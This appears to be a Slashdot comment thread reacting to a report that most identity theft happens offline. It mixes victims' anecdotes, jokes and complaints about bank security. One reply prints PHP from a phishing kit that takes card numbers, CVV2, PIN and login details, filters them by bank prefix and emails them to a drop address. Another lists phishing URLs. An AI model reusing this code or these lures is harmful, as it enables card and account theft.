    *phew* Finally, someone states the fact that the Internet is not a big scary netherworld full of monsters like some would like to have us believe.

    1. Re:Finally... by conteXXt · · Score: 1

      Relax, it's just a reflection of society.

      (otherwise being a geek would somehow be illegal)

      --
      The truth about Led Zep should never be told on /. (Karma suicide ensues)
  13. Irrelevant statistics. by physicsphairy · · Score: 4, Interesting
    The types of scam and identity theft are different. The comparison means nothing. "Don't worry about leaving stacks of money on your lawn! 99.9% of thefts are of a different type! Leaving your retirement fund in $20 wads on your front porch is completely safe!"

    Consider that an online banking site may *not actually* be an online banking site. A physical bank, on the otherhand, is without fail, a physical bank. However, I don't have to worry about someone rooting through my garbage to find bank statements if all my data is online.

    So both systems have their inherent vulnerabilities. The fact is that you are really paranoid, you are ultimately safest doing everything in person and taking proper measures to destroy relevant documents.

    All this study says is that there is a higher incidence of paper based identity theft. Which is to be expected: how many low-level criminals do you think know javascript, for example?

    1. Re:Irrelevant statistics. by Anonymous Coward · · Score: 1, Funny

      A physical bank, on the otherhand, is without fail, a physical bank.

      Make sure that ATM isn't fake, police say

    2. Re:Irrelevant statistics. by The-Bus · · Score: 1

      I don't save any money. Therefore I have nothing to steal of value at the bank!

      If they want to steal from me, they have to steal my investments, and most of the time, I mix them in with Coke and down them at nights! No whisk(e)y for you!

      --

      Small potatoes make the steak look bigger.

    3. Re:Irrelevant statistics. by rjelks · · Score: 1

      "A physical bank, on the otherhand, is without fail, a physical bank."

      This reminds me of stories about ATM thefts.

      1. Someone places a fake front over a real ATM and collects deposited cash.
      2. An "Out of Order" sign is placed on the ATM, while someone, dressed as a guard, stands by the machine and helpfully takes deposits.

    4. Re:Irrelevant statistics. by Anonymous Coward · · Score: 1, Interesting

      Consider that an online banking site may *not actually* be an online banking site. A physical bank, on the otherhand, is without fail, a physical bank.

      This reminds me of a story I read some time ago. In Brooklyn there was a standard deposit box standing near a bank. It turned out it was a fake. Some folks were emptying it for several days before people noticed that deposits never make it to bank accounts and started to ask questions.

      Fake banks are harder to come by. The only time I've heard of a fake bank was in one of O. Henry stories (sorry forgot the name) :)

    5. Re:Irrelevant statistics. by Anonymous Coward · · Score: 0

      Real banks however are subject to bankrobbers...

    6. Re:Irrelevant statistics. by LordSnooty · · Score: 1

      A physical bank, on the otherhand, is without fail, a physical bank.

      Don't be so sure of this. There was a well-documented case in the UK a few years back - a criminal gang used a fork-lift to steal an ATM from a new bank about to be opened; a few days later, a strange "banking agency" opened on another street, in an empty premises. The bank itself might have been shut all the time, or had some actors standing around telling people that they weren't taking new applications yet... however the ATM was set up outside the "bank".

      They rigged it up to spit out any card that was inserted, with a "Sorry, system failure" message... crucially though, this error occured AFTER they keyed the PIN... sure enough, a few days later, those who had used the suspect ATM found big sums lifted from their account - the gang had recorded all the card numbers & PINs that were attempted.

      So be careful, even a real, physical bank can be deceiving. Just don't trust anyone ever again.

  14. I blame lazy CC industry by Ars-Fartsica · · Score: 4, Insightful
    Are you telling me the best they can do is a card with my password embossed right next to my name? As fas as I am concerned the CC number is a password since that and the expiration date are all that are needed to pilfer funds.

    The CC industry needs to create a secure credit card. Until they do, fraud cannot be stopped.

    1. Re:I blame lazy CC industry by mmkkbb · · Score: 1

      My new one has TOTAL SECURITY PROTECTION printed on the mag stripe. I'm sure that must mean something.

      --
      -mkb
    2. Re:I blame lazy CC industry by afidel · · Score: 2, Informative

      I'm with you, I've had a smart card for the past 5 years yet I have had a total of 3 places use it in their smartcard CC reader, this is with using my CC as digital cash for everything possible every day. Add to this the fact that we don't have photo's as standard features on all CC's and I've concluded that the credit card companies just don't care. It must not be a big enough problem for them to worry about. Amex's net profit for the fourth quarter of 2004 was nearly $1 Billion, and they are the smallest of the big three CC processors!

      --
      There are 4 boxes to use in the defense of liberty: soap, ballot, jury, ammo. Use in that order. Starting now.
    3. Re:I blame lazy CC industry by hackstraw · · Score: 1

      Are you telling me the best they can do is a card with my password embossed right next to my name? As fas as I am concerned the CC number is a password since that and the expiration date are all that are needed to pilfer funds.

      The CC industry needs to create a secure credit card. Until they do, fraud cannot be stopped.


      The minute it is profitable for them to do something they will. Otherwise, they will sit back and collect the 18-20 someodd interest rate on the average person's CC balance of what is it $12k now?

      Not a minute before.

    4. Re:I blame lazy CC industry by Sandipani · · Score: 1
      Well, its not the credit card industry that is behind when it comes to CC technology.(I work for a CC Company and I know a thing or two about the technology we tried)

      Its the merchants that are not ready to upgrade there decade old POS systems..

      Every time we come up with a better and secure way of dealing with fraud, they reject the idea saying that its too expensive, because there is no need. For the bean counters it's not worth it...

    5. Re:I blame lazy CC industry by jonwil · · Score: 1

      I like the idea of photos on credit cards.
      Basicly, if there is a photo on your card, it makes it just that much harder for a casual thief to use the card. Plus, it wouldnt require any changes to POS terminals or equipment.

    6. Re:I blame lazy CC industry by farnz · · Score: 1

      Here in the UK, we've started using Chip and Pin credit cards; the entire point of these cards is that there is a three way handshake between the card reader, the chip on the card, and the bank. Provided the store compiles with VISA/Mastercard regulations on the PIN reader they use, the PIN is never disclosed. Instead, the card verifies the PIN, and uses it to create a verification code that the bank can check. Result? Fraud is hard, because you need to crack the chip and create a fake chip, rather than just copy a strip.

  15. John Mayer Show by Anonymous Coward · · Score: 0

    John Mayer: You ever go on Ebay?

    Trick Daddy: Yeah, once, but I'd be scared to put my credit card information on the computer.

    John Mayer: You realize that you've gone to jail... a couple times.

    Trick Daddy: Right.

    John Mayer: You lived the thug life.

    Trick Daddy: Right.

    John Mayer: You've got a diamond encrusted AK-47 around your neck.

    Trick Daddy: Right.

    John Mayer: And your biggest fear so far from hanging out with you is...

    Trick Daddy: Credit card fraud.

    John Mayer: Is credit card fraud on Ebay?

    Trick Daddy: Right.

    John Mayer: That's some domestic stuff.

  16. statistically meaningless, stupid Feds. by jephthah · · Score: 1

    You're much more likely to have your identity stolen offline (72% of the cases)

    yeah, thats true if youre one of the 72% of americans who rely on paper statements for your financial accounts.

    But if you're one of the 28% of americans who make financial transactions online, well, then...

    you more or less have equal probability to have your identity stolen WHETHER OR NOT you use paper or electronic transactions.

    The manner in which you REDUCE your likelihood to have your identity stolen, is directly related to the amount of security preventions used when dealing with your finanacial transactions and records thereof.

    man who'd have thought our federal government was so clueless.

    1. Re:statistically meaningless, stupid Feds. by Anonymous Coward · · Score: 0

      man who'd have thought our federal government was so clueless. ...

      *watches hands go up all around the world*

  17. has your social security number been stolen? by peter303 · · Score: 5, Funny

    Type your social security number here: _________________ and see if it is on the stolen number list.

    1. Re:has your social security number been stolen? by Cro+Magnon · · Score: 1

      Your link gave me an error. Can I enter my number here? I'm sure I can trust my fellow Slashdotters.

      --
      Slow down, cowboy! It has been 4 hours since you last posted. You must wait another few hours.
    2. Re:has your social security number been stolen? by Anonymous Coward · · Score: 0

      That link didn't work for me. Could you check my SSN for me and post the results? It's 078-05-1120. Thanks!

    3. Re:has your social security number been stolen? by Liza · · Score: 1

      Great, now my coworkers are looking at me funny because I burst out laughing at this.

      Thanks alot!

      Liza

      --
      These opinions are my own. My employer is not aware of them, does not endorse them, and is not responsible for them.
    4. Re:has your social security number been stolen? by noidentity · · Score: 1

      There's something wrong with your stolen number list because when I try to click on the text box and type my number, there's no cursor. Plus I couldn't find the Submit button.

  18. Well, what do people expect? by phaln · · Score: 1

    With paper receipts lying about, people who have general malaise about shredding, and your credit card statements as easy as a 5 second walk away in the dining room, it's entirely easy to steal an identity without ever touching a computer. There are no passwords to enter when you pick up a letter from the living room table. No secret keys, nothing.

    This shouldn't preclude taking appropriate measure on your computer of course, but I think people really need to pay more attention to the security of their home by taking a few preventive steps, than run around screaming how every e-commerce store is a "ripe target for the h4>0rz".

    --
    SNACKS ARE AWESOME
    1. Re:Well, what do people expect? by jonwil · · Score: 1

      Why dont banks change the way they print their credit card statements so that the statements dont contain enough information to enable someone to use the card. That way, if the statement is stolen, it alone doesnt give anyone enough information to use the credit card.

  19. On a personal note by AviLazar · · Score: 1

    I am very prone to this type of identity theft. I frequently have bank statements, credit cards, etc laying around my home desk, kitchen counter (I have a bar room style kitchen counter), etc.

    When say the people who I play DnD with come on over they can easily get my statements...hmm especially since some of them i only just met... Oh well :)

    --

    I mod down so you can mod up. Your welcome.
    1. Re:On a personal note by AragornSonOfArathorn · · Score: 1

      You run a campaign? Can I come over? Can I bring my tiny hi-rez digital camera?

      --
      sudo eat my shorts
    2. Re:On a personal note by servognome · · Score: 1

      Elf you enter a poorly lit room, you see a stack of documents on the table, you detect the musty smell of stale pizza towards your left.
      I'll look through the documents *rolls die* You are only able to decipher that the papers are accounting documents
      I use my counterfeiting skill to create a new identity
      *rolls die* You may now use the identity of Larry Smith, my... err his social securit... errr Royal Identification number is 555-42-2005.
      Out of character, Wow I like how you use actual things to make the game more realistic

      --
      D6 63 0D 70 89 81 BB 8E 7B 7C 5F 5D 54 EA AB 73
    3. Re:On a personal note by AviLazar · · Score: 1

      Hey man just trying to make things helpful :)
      I have helped a number of people through identity theft issues (i used to be a personal banker). While annoying, surely, not all that difficult "No I was not in Peru, and no I didn't buy a 10 thousand dollar home theatre system."

      --

      I mod down so you can mod up. Your welcome.
  20. RTFA by I8TheWorm · · Score: 1

    The article states that 72 percent of the thefts of personal information for scams last year was done offline. That suggests that the number of thefts that occured is very heavily weighted to the side of "happened offline." :)

    --
    Saying Android is a family of phones is akin to saying Linux is a family of PCs.
  21. ID theft through the mail by Jere+H · · Score: 5, Interesting

    My brother had an incident of identity theft which happened through the mail. A gang drove around and picked up envelopes containing payment for bills and had checks printed using the correct checking account information. They even printed drivers licenses with their own picture and changed the birthdate to about 10 years older than my brother's age.
    He caught the unauthorized activity by chance when he deposited a check at the bank and they told him he had a negative balance. Around $480 of unauthorized activity had taken place. They froze the account at that moment, he went and filed a police report, and the bank canceled payment of all of the fraudulent items.
    He received calls and letters for months saying he had written bad checks and that he would have a warrent put out for his arrest if he did not pay. He had to mail dozens of copies of the police report and a copy of the notarized statement he made saying he did not write the checks or authorize electronic payment of the items purchased on the internet. The postage totaled about $30. The money from his account was eventually all returned to him, but all of the time spent on the phone with companies trying to get the issue straightened out is a huge hassle, and the money for postage and telephone calls to various out-of-state companies comes out of your own pocket.

    1. Re:ID theft through the mail by superflippy · · Score: 1

      This is why my husband won't leave the mail outside our house to be picked up. We have a mailbox as old as our house, the kind that's a vertical metal box stuck to the wall with thin metal prongs underneath to hold outgoing mail. Basically, anything we mail out is visible from the street, where plenty of people walk by.

      I take all our bills with me to work and mail them from there instead.

      --
      Your fantasies contain the seeds of important concepts.
  22. Are they really "friendly" relatives? by hal2814 · · Score: 5, Interesting

    I had a friend in college whose dad opened up a credit card account in my friend's name, charged it up, and let it default. My friend talked to legal services on campus (I'm not sure how good our campus legal services is but our law school is pretty good for a public school). They basically told him that he sould either pay it off or claim fraud and let the credit card company haul his dad off to jail. I can't imaging putting my child in that situation. He asked me what he should do but I didn't know what to tell him. That's a pretty sorry situation for a relative to put you in, especially your own father.

    1. Re:Are they really "friendly" relatives? by bluGill · · Score: 1

      I had a friend who told the judge at his dad's sentencing to "lock that man up". Course this dad was a pedophile, not just into a little fraud. Still sometimes you have to face the facts: someone you love doesn't deserve love, and needs to be locked up.

    2. Re:Are they really "friendly" relatives? by Anonymous Coward · · Score: 0

      Sometimes that's the best thing to do because you love them. Yes, discipline is a part of love.

    3. Re:Are they really "friendly" relatives? by Anonymous Coward · · Score: 0

      You friend should tell his dad to pay the amount he charged or the charges will be reported as fraud and the credit card companies will prosecute.

    4. Re:Are they really "friendly" relatives? by Anonymous Coward · · Score: 0

      Uh, if his dad was a lying sleaze who would sell out his own family, then his son should treat him in kind. He should file for fraud charges, and tell his dad that its the authorities doing it, and not him, and that he even pleaded them to stop.

      Either that or pay off the debt with one of his dad's credit cards.

  23. We need reform in the financial industry by lawpoop · · Score: 1
    Right now it's way too easy for identity theft to happen. Even if they make harsher laws to deter and punish bad guys, victims are still screwed long after the theft.

    If your identity is stolen, it ruins your credit rating for the rest of your life. Why? Because no financial institution will trust that it's really you wanting to finance the furniture or buy the house.

    What we need is some kind of system involving cryptographic key exchange between buyers, sellers, and their banks. Sellers should make an offer for a specified amount, going into a specified account. If the buyer approves, they will get an encrypted 'check' only good for *that amount* to be transferred only to *that account*. If someone loses their authentication keys, they can stop by a bank and have them reissued -- the teller will do a 'strong AI' check against biometric IDs of the purported patron -- comparing photographs, signatures, perhaps even fingerprints.

    As it currently stands, it's way to easy to commit fraud with blank checks, credit cards, and all the applications that come in the mail. We need a new system.

    --
    Computers are useless. They can only give you answers.
    -- Pablo Picasso
    1. Re:We need reform in the financial industry by Thunderstruck · · Score: 1

      What we need is some kind of system involving cryptographic key exchange between buyers, sellers, and their banks.

      Or we could build actual reputations within the community where we live. We could deal with people we know and who know us, or at least with whom we have mutual acquaintances.

      Of course this would require us to *gasp* settle down and possibly start thinking of our communities as more than stepping stones to be trod over and left behind.

      Which one do you think is easier for me to make use of?

      --
      Trying to use sarcasm in text-based forums does not work.
    2. Re:We need reform in the financial industry by lawpoop · · Score: 1

      What if you need to buy something that your community doesn't keep in stock?

      --
      Computers are useless. They can only give you answers.
      -- Pablo Picasso
  24. Typical. by Spy+der+Mann · · Score: 1, Funny

    In half of all the cases, it's the friendly relatives, neighbors and friends who steal the identity of the victim

    Hey!!! I didn't order a collection of XXX-videos - now wait a minute...

    SCOTT!!!!!

  25. Re:Is online banking good then? by TooTechForYou · · Score: 1

    If the banks sent more statements, thier would be more pieces of physical information. This would be more account numbers in the mail and in the trash.

    --
    -- Nic
  26. Take steps to prevent it by superid · · Score: 2, Informative
    Our identity was stolen to the tune of $13K. Apparently the trail started with an inactive discover card account. Somehow the first person (there were eventually many) phoned discover and got them to change the billing address from my house to some place on staten island. As far as I knew this card was inactive and unused.

    One thing all the credit card companies and bureaus (Equifax, etc) told us to do is to call their fraud hotlines and put a block on each card that keeps anyone from changing the mailing address. ( no I don't remember what happens if I actually DO want to move...I've been here 20 years and I aint movin...con sarn it)

    1. Re:Take steps to prevent it by Anonymous Coward · · Score: 0

      Our identity was stolen to the tune of $13K

      Our identity? Would that be you and your other personalities?

    2. Re:Take steps to prevent it by Ahnteis · · Score: 2, Funny

      That would undoubtably be the wife/significant other. Understandable confusion given this is Slashdot. :)

    3. Re:Take steps to prevent it by JonLatane · · Score: 0
      Our identity was stolen to the tune of $13K.

      It's Her Majesty, the Queen of England! I would have never expected her to be a /.er!

    4. Re:Take steps to prevent it by Hork_Monkey · · Score: 1


      Some of us here are actually married and stuff...

      Hell, they take everything else we have, so we might as well lump our identity in there too...

    5. Re:Take steps to prevent it by Anonymous Coward · · Score: 0

      Well, I stole a couple of identities to finance my lavish lifestyle, but the damn thief made off with all of them, including my original identity.

  27. Yes, HOWEVER... by Anonymous Coward · · Score: 0

    Most of the in-world identity theft is about establishing NEW lines of credit or making NEW purchases. I know since I have been a victim and experienced the hassle. That being said, I would consider one of those phishing scams or viruses that retrieve your EXISTING bank account information MUCH worse than someone taking out a new credit card in my name.
    As upsetting as it is to have someone take out new credit in your name, I would have been MUCH more upset to find out someone had emptied my bank account.

  28. $551 average by EmbeddedJanitor · · Score: 1

    Yippee! I only got ripped off $100.

    --
    Engineering is the art of compromise.
  29. 28% Is Still Online by Plake · · Score: 2, Interesting

    You're much more likely to have your identity stolen offline (72% of the cases).

    Well, 28% is still ALOT for identity theft. I'd still be careful of what you do on the internet that involves personal data.

    Also, it's it kinda ironic that the top thread right now had one of those "Click for a free Mac Mini" sigs which are one of the main portals for this kind of stuff.

    1. Re:28% Is Still Online by Ahnteis · · Score: 2, Informative

      28% of identity theft happens online.
      NOT 28% of online transactions result in identity theft.

      The first statistic is pretty much completely meaningless unless you put in other facts.

  30. Cow Orkers and Cube Farms by Tackhead · · Score: 2, Insightful
    > I'm actually surprised that co-workers aren't a bigger piece of the statistical pie on this one. They often have access to records, PCs, the all important "work number" and so on. I've run across those incidents, and am amazed they're not more common.

    You forgot the most important factor: cow orkers overhear everything within a 3-cube radius.

    With the web, it's not too bad -- but sometimes you have to deal with IVR (interactive voice response) systems, and that's when you get into trouble.

    I can't tell you how many times I've heard a cow orker enunciating a credit card number (or SSN, or bank number, and sometimes both), one digit at a time, into an IVR mechanism.

    Adding insult to injury, the IVR system is sometimes used as a front-end to enter the "numbers" data without human input before the call gets sent to India. I can tell when this is happened when I hear a pause between the numbers, the usual "Hi, I'm calling about... (pause) ...her name was Florence."

    Thanks, buddy! Now I've got your mother's maiden name, too!

    1. Re:Cow Orkers and Cube Farms by ScentCone · · Score: 1

      And, let's face it... in the IT priesthood of a small-to-midsize business, the nerds can pretty much see everything about every employee, including their browsing activity and e-mail. I like to think the most about IT people, but I confess: I've worked along side of some scurilous dogs with superuser rights. I still worry a little bit about a guy I worked with 6 years ago, and everything he could know about me if he wanted to be like that.

      It's a good thing that we use our super powers for good, huh?

      --
      Don't disappoint your bird dog. Go to the range.
  31. Experience with a Canadian government contractor by westendgirl · · Score: 4, Interesting
    Following the dot-com bust, my husband and I both lost our jobs. We enrolled with an agency that has been hired by the Canadian government to help IT industry professionals find work. Three years later, we both received emails from that agency. Someone had broken into their office, stealing their computer, which had thousands of applications, resumes, social insurance numbers (social security), and other details. The agency claimed that the server was stolen for resale value only and not for the data on it. They said that there was no reason to change your SIN or do anything other than watch your bank and credit card statements. To top it off, the agency's emails to me and my husband said "Dear " -- and the names belonged to other people, so they had further compromised privacy. After talking to police and federal fraud investigators, I pushed the Canadian Privacy Commissioner and Human Resources Development Canada to force the agency to act responsibly. The agency had no right to tell people that their data was safe or that they only had to watch their bills. The police and fraud investigators recommended monitoring social insurance number data and credit reports and putting fraud alerts on our credit files. Of course, this was a real pain for us -- we were in the midst of buying our first home and all of our financial applications were delayed by the credit alert -- but better safe than sorry.

    It irks me that the agency is still under contract to the government. The privacy policy they had us sign when we applied actually said that our data would be totally safe and secure. (Of course, that's an insane promise, but they shouldn't put it in writing!) And the agency completely bungled the way they told people about the data theft -- even counselling people to do nothing, which conflicted with the government/police recommendations. Thousands of people were affected, but I bet my husband and I were the only ones who knew to check with police, instead of doing nothing.

    --

    -- SYS 64738 --

  32. Re:Is online banking good then? by Pxtl · · Score: 1

    Solution: stop printing full bank account and credit card numbers on every piece of information. Honestly, since so many institutions treat their account numbers like passwords (including the US government) you'd think they'd at least put the basic, minimal amount of effort into not plastering it onto every page of every document that may pass by your eyes.

  33. Keyloggers = offline? by Kentsusai · · Score: 2, Insightful

    Hey /.tters
    Sorry to go off on a tangent.

    But when they say "offline" does that mean "not on a computer" or "not on the internet"?

    Because the other day I was at a public terminal and I noticed someone had installed a keylogger. Guess they wanted to collect everyone's information (i.e. passwords and usernames) and return for them at the end of the day.

    Technically, that is not online. Is it?

    Correct me if I am wrong

    Thanks :-)

    1. Re:Keyloggers = offline? by MixmastaKooz · · Score: 1

      I'd call that online because eventually, the crime will be committed online. It's not like someone takes a mailed financial statement to get important passwords/usernames from it. The M.O. is definitely for online fraud.

    2. Re:Keyloggers = offline? by Anonymous Coward · · Score: 0

      But when they say "offline" does that mean "not on a computer" or "not on the internet"?

      I imagine that anything in meatspace (versus cyberspace) would be considered offline.

    3. Re:Keyloggers = offline? by a24061 · · Score: 1
      Because the other day I was at a public terminal and I noticed someone had installed a keylogger.

      How did you notice it?

    4. Re:Keyloggers = offline? by Kentsusai · · Score: 1

      It was in the systray :-)

  34. Cell Phones by TooTechForYou · · Score: 1

    I've heard about this more and more lately, people are using camera phones to steal credit information. Think about it, if someone behind you were using a phone you wouldn't think twice about it, its just another person on a phone. They could secretly be taking a picture of your card.

    --
    -- Nic
    1. Re:Cell Phones by damiangerous · · Score: 1

      Never happened, or at no one has ever shown it has. Just think about it anyway, it would take a reasonably good digital camera, nevermind a crappy built-in phone camera for the resolution to capture 1/4" numbers (and an exp date/name half that size) from at least 3-4 feet away.

    2. Re:Cell Phones by TooTechForYou · · Score: 1

      True. I've just had customers come in and swear they know someone it's happened to. Then again, thats like every other urban legend.

      --
      -- Nic
  35. Not quite the nightmare you portray by coinreturn · · Score: 2, Insightful

    It's not as bad as you state. I've been a victim of identity theft / credit card fraud / check fraud on several occasions. Each time, I was able to straighten things out without the gigantic hassle the urban myth pushes. My credit remains as stellar as it was before the incidents.

    1. Re:Not quite the nightmare you portray by lawpoop · · Score: 1
      Oh, well it sounds like things have changed since I last heard an author promoting a book on a radio show ;)

      Anyway, I still would like to see a system like the one I proposed above implemented. It would reduce costs dramatically, help with record keeping, and prevent nasty service companies from repeatedly charging your card even if you've called them several times to cancel the service.

      --
      Computers are useless. They can only give you answers.
      -- Pablo Picasso
    2. Re:Not quite the nightmare you portray by greyhoundpoe · · Score: 1

      I know exactly what you mean--a year or so ago I had a fraudulent charge appear on my Citizens Bank debit account. I generally am not particularily paranoid about charges on my account (I've embarrassed myself before by freaking out about charges I've actually made listed under a parent company's name on my statement) but when I couldn't rememember ever buying anything from TimeLife I sent an email to Citizens asking for additional information. I didn't even outright say I thought it was fraudulent--but Citizens immediately gave me a temporary credit for the whole amount and told me they'd look into it. Two weeks later they said that I should consider the credit permanent and that the parties responsible for the charge had been taken care of. See, banks? Was that so hard?

  36. Bank of America Online Banking by MixmastaKooz · · Score: 1

    Even if there is a smaller chance of online identity theft, I would think banks would do all they could to prevent it: for example, if you want to do Bank of America online banking: They limit you to a 7 CHARACTER PASSSWORD!! I wrote in to complain, and I'm not going to go through with signing up for it until they change it! Does anyone online bank with a financial institution that takes better care than this? BTW, if you do online bank, don't forget to use firefox and clear that cache after logging off! I'm not paranoid, but you got to be careful nowadays!

    1. Re:Bank of America Online Banking by sfjoe · · Score: 1



      Even worse is Price-Waterhouse for their online stock trading. They demand you use either a 6 or 7 character alphanumeric password. Needless to say, my account is closed there.

      --
      It's simple: I demand prosecution for torture.
    2. Re:Bank of America Online Banking by ebrandsberg · · Score: 1

      Mine is worse. It allows an 8 character password, BUT you can type in a 9 character password, it will accept it, and truncate it to 8 characters without telling you.

    3. Re:Bank of America Online Banking by Anonymous Coward · · Score: 0

      HSBC in the UK requires the following to let you login:-
      10 digit ID number (completely unrelated to any cards)
      your date of birth
      three random digits of your 6-10 number passcode. e.g. 'enter the second, third and last digits of your passcode.'

      seems reasonably secure...

    4. Re:Bank of America Online Banking by Cro+Magnon · · Score: 1

      They do that to prevent you from using "password" as your password.

      --
      Slow down, cowboy! It has been 4 hours since you last posted. You must wait another few hours.
  37. Re:Is online banking good then? by TooTechForYou · · Score: 1

    I agree, the last four digits (like what are on recipts) would be more than enough.

    --
    -- Nic
  38. YUO HAV DESTROYED TEH FUNAY by Anonymous Coward · · Score: 0
  39. Speaking of such a thing... Comprimised CC Cards by Anonymous Coward · · Score: 0

    Both Visa and Mastercard re-issued credit cards (through my bank) to me this month. They both said that my cards were on a large list of comprimised cards.

    Anyone else have this happen over the holiday season?

  40. Prevent fraudulent use of your Credit card by servognome · · Score: 5, Funny

    Keep them maxed out. Sure they can have my credit card number, but just wait until they get that look of shame when they try to use it.

    --
    D6 63 0D 70 89 81 BB 8E 7B 7C 5F 5D 54 EA AB 73
    1. Re:Prevent fraudulent use of your Credit card by Geoffreyerffoeg · · Score: 1

      I had a similar idea: a credit card with a spending limit adjustable online (or via telephone). You can safely give it to sites that need it to "check identity," sign up for a "free" trial, etc., and it will verify as valid, but they won't be able to charge more than, e.g., ten cents. If you need to use it, you can raise the limit temporarily.

      Or a credit card that's actually a debit card ($0.00 charging limit) but reports as a credit card.

    2. Re:Prevent fraudulent use of your Credit card by John+Meacham · · Score: 1


      Protecting your current credit cards doesn't prevent identity theft, it prevents plain old theft :)

      Identity theft is when someone takes out credit in your name.

      And a debit card is a very bad thing.

      when someone steals your credit card and uses it, they are not stealing from you, they are stealing from the credit card company. you cannot (legally) be held responsible for the charges they accrue. However with a debit card, they are actually stealing from your account directly, you have no recourse but to take the hit, much as if someone stole your car or wallet.

      Of course, many debit card providers will provide guarentees that you won't be held responsible, but you are trusting in their good will. with credit cards you cannot even legally be held responsible for fraudulent charges no matter what the creditors policy says.

      --
      http://notanumber.net/
    3. Re:Prevent fraudulent use of your Credit card by Anonymous Coward · · Score: 0

      Or even better, keep 10 or 15 cards in your wallet with a note saying "Only one of the cards in here works, all the others have been reported stolen. Use at your own risk"

    4. Re:Prevent fraudulent use of your Credit card by Geoffreyerffoeg · · Score: 1

      And a debit card is a very bad thing.

      when someone steals your credit card and uses it, they are not stealing from you, they are stealing from the credit card company. you cannot (legally) be held responsible for the charges they accrue. However with a debit card, they are actually stealing from your account directly, you have no recourse but to take the hit, much as if someone stole your car or wallet.


      That's why you only keep twenty-five cents in the debit account. I've probably dropped enough coins that losing a two-bit debit card isn't such a bad thing, comparatively.

  41. I call BS. Look at the facts: by Anonymous Coward · · Score: 0

    When will people learn to differentiate between a scientific survey and an unscientific one?

    Article: "Federal regulators warn that the Internet is the thriving frontier for identity theft, but 72 percent of the thefts of personal information for scams last year was done offline, a new report says."

    They determined this based on 509 victoms of identify thieves interview by phone to answer 38 questions?!? Did they verify these were actual victoms and not some lonely person glad to talk on the phone with anyone showing interest?

    Did they find out if the thieves were captured?

    Did they find out how interviewed people found out about the original source of theft (are they just guessing or did the thief get caught and confess)?

    Article: "The Javelin survey of 38 questions was based on telephone interviews with 4,000 consumers, including 509 victims of identity fraud."

    How do victoms of identify fraud know how their info was stolen? First, they have to realize they are victoms--which many don't for months and in rare cases even years.

    And even if they realize they're victoms, how do they know how their data was stolen?

    They'd have to catch the thief to get the whole story.

    This so-called article doesn't even mention how many out of the 509 interviewed victoms had cases where the thief was caught and the source of original theft was confirmed.

  42. I agree... by Anita+Coney · · Score: 4, Interesting

    In work in a Court and every ID theft case I've seen in the last five years were committed by co-workers.

    --
    If someone says he and his monkey have nothing to hide, they almost certainly do.
    1. Re:I agree... by Anonymous Coward · · Score: 0

      Invalid assumption here. Just means that the cops only CAUGHT the ones involving co-workers.

      That makes sense, actually. Easier to nab someone who works with you, especially since if they do it to one cow-orker, they might be doing it to other cow-orkers.

  43. Nice timing by alexburke · · Score: 1

    I just got TWO seemingly-identical eBay spoof messages to my eBay-registered email address (which contains 'ebay', but which doesn't otherwise collect spam). There is one difference between the messages, namely the URLs they point to:

    http://d280599.u36.fast-host.com/ws/aw-cgi/verify. php

    http://d281000.u36.fast-host.com/ws/aw-cgi/verify. php

    The directory the php files are in is interesting. The whole thing is laid out in there. The email actually points to login.php, which brings you through a couple of intermediary pages before asking you for the goods. Submitting the verify.php page, blank, results in a little delay not present when you submit any of the other pages' forms -- presumably while verify.php is emailing the contents of the form fields somewhere.

    I already left a note at the fast-host.com support page (although I'm not holding my breath, obviously). I tried calling them, but I got an unprofessional-sounding answering machine, leading me to think some guy is running fast-host.com out of his basement.

    (*Sigh...*)

    1. Re:Nice timing by choprboy · · Score: 1

      Yes... it emails the contents to a drop account on Hotmail or Yahoo. I mirrored a copy of one of these sites some weeks back (uploaded onto a comprimised Apache server in China... without PHP enabled... stupid criminals...).

      Interestingly... the code completely ignored all the other information collected in the precededing pages (Suntrust online banking this time). It only mails the CC info supplied, if that CC number starts with certain numbers. In all cases, it then continues to the 'completed.html' whihc redirects to the true web site.

      Actual code from the verification.php:
      -----
      $user = $_POST['user'];
      $password = $_POST['password'];
      $cin = $_POST['cin'];
      $cvv2 = $_POST['cvv2'];
      $month = $_POST['month'];
      $year = $_POST['year'];
      $pin = $_POST['pin'];

      if ($user == '' || $password == '' || $cin == '' || $cvv2 == '' || $month == '' || $year == '' || $p
      in == '') {
      header ("Location: completed.html");
      exit;
      }

      $first3 = $cin{0}.$cin{1}.$cin{2}.$cin{3}.$cin{4}.$cin{5};

      if ($first3 == '401180' || $first3 == '405048' || $first3 == '421073' || $first3 == '422307' || $fir
      st3 == '422920' || $first3 == '424625' || $first3 == '426627' || $first3 == '427095' || $first3 == '42
      8900' || $first3 == '436666' || $first3 == '438801' || $first3 == '443181' || $first3 == '448848' || $
      first3 == '471500' || $first3 == '541783' || $first3 == '543881' || $first3 == '543992' || $first3 ==
      '545702' || $first3 == '546253' || $first3 == '547536') {
      mail("JohnlicQPub664654@hotmail.com", "st me", "$user\n$password\n$cin\n$cvv2\n$month/$year\n$pin ");
      header ("Location: completed.html");
      exit;
      }

      header ("Location: completed.html");
      exit;
      ------

    2. Re:Nice timing by angle_slam · · Score: 1

      You can report this stuff to Ebay by emailing spoof@ebay.com.

    3. Re:Nice timing by angle_slam · · Score: 1

      They only actually transmit the credit card number? That is surprising. The tell-tale giveaway that the page is a fraud is asking for PIN, SSN, and date of birth. No one ever asks for that. If they only asked for name, number, expiration date, people would be more inclined to fall for the scam.

    4. Re:Nice timing by alexburke · · Score: 1

      w00t! The linked websites are now dead. When they were pulled is anyone's guess, though...

  44. What to do... by Antony-Kyre · · Score: 1

    Shread your papers, or better yet, if you have a fireplace, burn them. That's if you don't need them anymore, and this is about financial papers.

  45. President's Choice by Beardo+the+Bearded · · Score: 1

    I use President's Choice Financial You get 17 characters for my password there.

    No fees. That's why I use them.

    --

    ---
    ECHELON is a government program to find words like bomb, jihad, plutonium, assassinate, and anarchy.
  46. Probably. by abb3w · · Score: 1

    That's not your number, Mrs. Whitcher. You should be using 567-68-0515 instead.

    --
    //Information does not want to be free; it wants to breed.
  47. Definitely true! by grgyle · · Score: 1

    This is very important if you are traveling somewhere that your ID isn't immediately recognizable. I made the mistake of having "Ask for ID" on several of my cards. I was refused purchases many times while in China, and had problems even at mainstream hotels paying for rooms, especially when no one spoke English. I was able to literally write "Ask for ID" on receipt slips a couple of times though ;)

    Also, in Europe many hotels will retain your passport. What are you going to show for ID then when you go out? See if the bartender in a Dublin pub believes you when you try to convince him that your Minnesota driver's license is a valid ID and not some weird forgery! I had to beg my friends to pay for me once when a bar wouldn't accept my driver's license.

    --
